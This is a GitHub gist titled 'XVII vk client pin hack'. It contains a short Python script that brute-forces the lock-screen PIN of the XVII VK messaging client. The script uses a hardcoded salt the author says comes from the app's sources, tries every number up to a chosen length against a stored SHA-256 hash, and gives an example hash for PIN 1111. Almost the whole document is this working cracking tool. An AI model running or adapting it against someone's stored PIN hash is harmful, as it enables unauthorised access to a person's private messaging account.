Skip to content

Instantly share code, notes, and snippets.

@nagayev
Created May 6, 2019 19:04
Show Gist options
  • Save nagayev/5e05d9756b011c55802cfda0acbee256 to your computer and use it in GitHub Desktop.
Save nagayev/5e05d9756b011c55802cfda0acbee256 to your computer and use it in GitHub Desktop.
XVII vk client pin hack
from hashlib import sha256
def get_decrypted(password):
solt="oi|6yw4-c5g846-d5c53s9mx" #from app's sources
k=sha256()
k.update(bytes(password+solt,"utf-8"))
return k.hexdigest()
def is_correct_pin(input,actual):
return get_decrypted(input)==actual
s=input("Enter your encrypted password ")#f.e "a3b96741fd4a0bb878ce821fb73f4cfc9864e69e56c3f4be3817c9bd6d876dcc" is 1111
n=int(input('Max number of digits'))
for i in range(10**n):
if is_correct_pin(str(i),s):
print('Finish! Your password is {}'.format(i))
exit(0)
print('Sorry:(')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment